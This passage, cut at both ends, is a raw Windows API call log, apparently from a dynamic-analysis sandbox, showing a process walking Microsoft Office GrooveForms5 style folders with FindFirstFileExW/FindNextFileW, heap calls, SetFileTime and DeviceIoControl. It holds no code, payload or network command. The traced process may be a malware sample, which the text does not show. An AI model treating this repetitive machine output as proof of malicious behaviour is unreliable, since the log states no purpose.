ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Main.gif", cAlternateFileName="")) returned 1 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaaf9e0 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4680 [0077.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.615] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Person.gif", cAlternateFileName="")) returned 1 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafa00 [0077.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4788 [0077.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.615] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 1 [0077.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafa20 [0077.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4890 [0077.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 0 [0077.616] GetLastError () returned 0x12 [0077.616] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.616] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd67f150, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd6a52b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrow.png", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x931, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document.gif", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x832, dwReserved0=0x0, dwReserved1=0x0, cFileName="Generic.gif", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient.png", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="Main.gif", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x96a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Person.gif", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x68e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Response.gif", cAlternateFileName="")) returned 0 [0077.617] GetLastError () returned 0x12 [0077.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.617] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x19cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions.css", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Doc.css", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcec0a700, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcec0a700, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Generic.css", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Person.css", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solutions_Response.css", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen", cAlternateFileName="")) returned 1 [0077.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.618] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\springgreen"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0077.744] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0077.748] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0077.751] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0077.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0077.755] NtClose (Handle=0x168) returned 0x0 [0077.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a1f50 [0077.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2058 [0077.768] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0077.779] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.781] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0077.783] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.783] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a2160 [0077.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7bd8) returned 1 [0077.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafa40 [0077.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4998 [0077.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.820] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.823] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.825] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafa60 [0077.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4aa0 [0077.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.844] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xaafa80 [0077.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a4ba8 [0077.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.920] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.921] GetLastError () returned 0x12 [0077.921] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0077.921] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd54e650, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x155, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_OFF.GIF", cAlternateFileName="")) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd54e650, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0077.921] GetLastError () returned 0x12 [0077.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2058) returned 1 [0077.921] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0077.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a2160) returned 1 [0077.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11a1f50) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd01, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpringGreen.css", cAlternateFileName="")) returned 1 [0077.921] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcff1d400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd6a52b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcff1d400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0077.922] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd54e650, 